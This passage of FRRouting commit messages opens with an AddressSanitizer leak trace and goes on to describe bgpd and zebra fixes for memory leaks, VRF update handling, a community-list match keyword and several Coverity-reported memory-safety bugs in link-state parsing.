#13 0x7f81fc010b95 in vtysh_read lib/vty.c:2362
#14 0x7f81fbffbb8f in event_call lib/event.c:1969
#15 0x7f81fbf3e462 in frr_run lib/libfrr.c:1213
#16 0x55cdc9af854b in main bgpd/bgp_main.c:510
#17 0x7f81faf80c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 56 byte(s) in 7 object(s) allocated from:
#0 0x7f81fc562b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f81fbf5aee3 in qmalloc lib/memory.c:100
#2 0x55cdc9b28eb8 in ecommunity_dup bgpd/bgp_ecommunity.c:256
#3 0x55cdc9bd68eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x55cdc9c4686d in bgp_update bgpd/bgp_route.c:4969
#5 0x55cdc9c4934d in bgp_nlri_parse_ip bgpd/bgp_route.c:6213
#6 0x55cdc9bfaa0e in bgp_nlri_parse bgpd/bgp_packet.c:341
#7 0x55cdc9bfcf7c in bgp_update_receive bgpd/bgp_packet.c:2220
#8 0x55cdc9c08474 in bgp_process_packet bgpd/bgp_packet.c:3386
#9 0x7f81fbffbb8f in event_call lib/event.c:1969
#10 0x7f81fbf3e462 in frr_run lib/libfrr.c:1213
#11 0x55cdc9af854b in main bgpd/bgp_main.c:510
#12 0x7f81faf80c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 48 byte(s) in 6 object(s) allocated from:
#0 0x7f81fc562b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f81fbf5aee3 in qmalloc lib/memory.c:100
#2 0x55cdc9b28eb8 in ecommunity_dup bgpd/bgp_ecommunity.c:256
#3 0x55cdc9bd68eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x55cdc9bf4289 in evaluate_paths bgpd/bgp_nht.c:1384
#5 0x55cdc9bf5b0b in bgp_process_nexthop_update bgpd/bgp_nht.c:733
#6 0x55cdc9bf6027 in bgp_parse_nexthop_update bgpd/bgp_nht.c:934
#7 0x55cdc9d1b163 in bgp_read_nexthop_update bgpd/bgp_zebra.c:104
#8 0x7f81fc02bd8a in zclient_read lib/zclient.c:4425
#9 0x7f81fbffbb8f in event_call lib/event.c:1969
#10 0x7f81fbf3e462 in frr_run lib/libfrr.c:1213
#11 0x55cdc9af854b in main bgpd/bgp_main.c:510
#12 0x7f81faf80c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 16 byte(s) in 2 object(s) allocated from:
#0 0x7f81fc562b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f81fbf5aee3 in qmalloc lib/memory.c:100
#2 0x55cdc9b28eb8 in ecommunity_dup bgpd/bgp_ecommunity.c:256
#3 0x55cdc9bd68eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x55cdc9bf4188 in evaluate_paths bgpd/bgp_nht.c:1348
#5 0x55cdc9bf5b0b in bgp_process_nexthop_update bgpd/bgp_nht.c:733
#6 0x55cdc9bf6027 in bgp_parse_nexthop_update bgpd/bgp_nht.c:934
#7 0x55cdc9d1b163 in bgp_read_nexthop_update bgpd/bgp_zebra.c:104
#8 0x7f81fc02bd8a in zclient_read lib/zclient.c:4425
#9 0x7f81fbffbb8f in event_call lib/event.c:1969
#10 0x7f81fbf3e462 in frr_run lib/libfrr.c:1213
#11 0x55cdc9af854b in main bgpd/bgp_main.c:510
#12 0x7f81faf80c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 16 byte(s) in 2 object(s) allocated from:
#0 0x7f81fc562b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f81fbf5aee3 in qmalloc lib/memory.c:100
#2 0x55cdc9b28eb8 in ecommunity_dup bgpd/bgp_ecommunity.c:256
#3 0x55cdc9bd68eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x55cdc9bd93b3 in vpn_leak_from_vrf_update_all bgpd/bgp_mplsvpn.c:2005
#5 0x55cdc9bdafd5 in vpn_leak_postchange bgpd/bgp_mplsvpn.h:287
#6 0x55cdc9bdafd5 in vpn_leak_label_callback bgpd/bgp_mplsvpn.c:581
#7 0x55cdc9bb2606 in lp_cbq_docallback bgpd/bgp_labelpool.c:118
#8 0x7f81fc0164b5 in work_queue_run lib/workqueue.c:266
#9 0x7f81fbffbb8f in event_call lib/event.c:1969
#10 0x7f81fbf3e462 in frr_run lib/libfrr.c:1213
#11 0x55cdc9af854b in main bgpd/bgp_main.c:510
#12 0x7f81faf80c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 8 byte(s) in 1 object(s) allocated from:
#0 0x7f81fc562b40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40)
#1 0x7f81fbf5aee3 in qmalloc lib/memory.c:100
#2 0x55cdc9b28eb8 in ecommunity_dup bgpd/bgp_ecommunity.c:256
#3 0x55cdc9bd68eb in vpn_leak_from_vrf_update bgpd/bgp_mplsvpn.c:1628
#4 0x55cdc9c52406 in bgp_redistribute_add bgpd/bgp_route.c:8692
#5 0x55cdc9d1ab3b in zebra_read_route bgpd/bgp_zebra.c:595
#6 0x7f81fc02bd8a in zclient_read lib/zclient.c:4425
#7 0x7f81fbffbb8f in event_call lib/event.c:1969
#8 0x7f81fbf3e462 in frr_run lib/libfrr.c:1213
#9 0x55cdc9af854b in main bgpd/bgp_main.c:510
#10 0x7f81faf80c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: 1536 byte(s) leaked in 64 allocation(s).
***********************************************************************************
Signed-off-by: ryndia <dindyalsarvesh@gmail.com>
(cherry picked from commit 78b6cadc16)
Currently when one interface changes its VRF, zebra will send these messages to
all daemons in *order*:
1) `ZEBRA_INTERFACE_DELETE` ( notify them delete from old VRF )
2) `ZEBRA_INTERFACE_VRF_UPDATE` ( notify them move from old to new VRF )
3) `ZEBRA_INTERFACE_ADD` ( notify them added into new VRF )
When daemons deal with `VRF_UPDATE`, they use
`zebra_interface_vrf_update_read()->if_lookup_by_name()`
to check the interface exist or not in old VRF. This check will always return
*NULL* because `DELETE` ( deleted from old VRF ) is already done, so can't
find this interface in old VRF.
Send `VRF_UPDATE` is redundant and unuseful. `DELETE` and `ADD` are enough,
they will deal with RB tree, so don't send this `VRF_UPDATE` message when
vrf changes.
Since all daemons have good mechanism to deal with changing vrf, and don't
use this `VRF_UPDATE` mechanism. So, it is safe to completely remove
all the code with `VRF_UPDATE`.
Signed-off-by: anlan_cs <anlan_cs@tom.com>
There is no match mechanism to match one community from the
incoming community-list. Add the 'any' keyword to the 'match
route-map' command of communit-list and large-community-list.
> match community-list AAA any
> match large-community-list AAA any
Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
We should not allow exceeding the stream's length, and also software version
can't be larger than 64 bytes.
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
Fix printing link state ospf opaque data. pnt address was not moving
in the loop.
Fixes: 8b531b1107 ("bgpd: store and send bgp link-state attributes")
Signed-off-by: Louis Scalbert <louis.scalbert@6wind.com>
Fix an issue where an attacker may inject a tainted length value to
corrupt the memory.
> CID 1568380 (#1 of 1): Untrusted value as argument (TAINTED_SCALAR)
> 9. tainted_data: Passing tainted expression length to bgp_linkstate_nlri_value_display, which uses it as an offset
Fixes: 8b531b1107 ("bgpd: store and send bgp link-state attributes") Signed-off-by: Louis Scalbert <louis.scalbert@6wind.com>
Fix issues where an attacker may inject a tainted length value to
corrupt the memory.
> CID 1568378 (#1-6 of 6): Untrusted value as argument (TAINTED_SCALAR)
> 16. tainted_data: Passing tainted expression length to bgp_linkstate_tlv_attribute_value_display, which uses it as an offset. [show details]
Fixes: 7e0d9ff8ba ("bgpd: display link-state prefixes detail")
Signed-off-by: Louis Scalbert <louis.scalbert@6wind.com>
Fix comparaison of link state attributes pointers in
link_state_hash_cmp().
> CID 1568379 (#1 of 1): Logically dead code (DEADCODE)
> dead_error_line: Execution cannot reach this statement: return false;.
Fixes: 8b531b1107 ("bgpd: store and send bgp link-state attributes")
Signed-off-by: Louis Scalbert <louis.scalbert@6wind.com>
Fix illegal memory access bgp_ls_tlv_check_size() if type is 1253.
> CID 1568377 (#4 of 4): Out-of-bounds read (OVERRUN)
> 5. overrun-local: Overrunning array bgp_linkstate_tlv_infos of 1253 16-byte elements at element index 1253 (byte offset 20063) using index type (which evaluates to 1253).
Fixes: 7e0d9ff8ba ("bgpd: display link-state prefixes detail")
Signed-off-by: Louis Scalbert <louis.scalbert@6wind.com>
Fix the following coverity issue. attr cannot be NULL.
> CID 1568376 (#1 of 1): Dereference before null check (REVERSE_INULL)
> check_after_deref: Null-checking attr suggests that it may be null, but it has already been dereferenced on all paths leading to the check.
Fixes: 8b531b1107 ("bgpd: store and send bgp link-state attributes")
Signed-off-by: Louis Scalbert <louis.scalbert@6wind.com>
When we accept a connection, we try to set TTL for the socket, but the socket
is not yet created/assigned and we are trying to set it on the wrong socket fd.
```
[Event] connection from 127.0.0.1 fd 25, active peer status 3 fd -1
can't set sockopt IP_TTL 255 to socket -1
bgp_set_socket_ttl: Can't set TxTTL on peer (rtrid 0.0.0.0) socket, err = 9
Unable to set min/max TTL on peer 127.0.0.1, Continuing
```
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
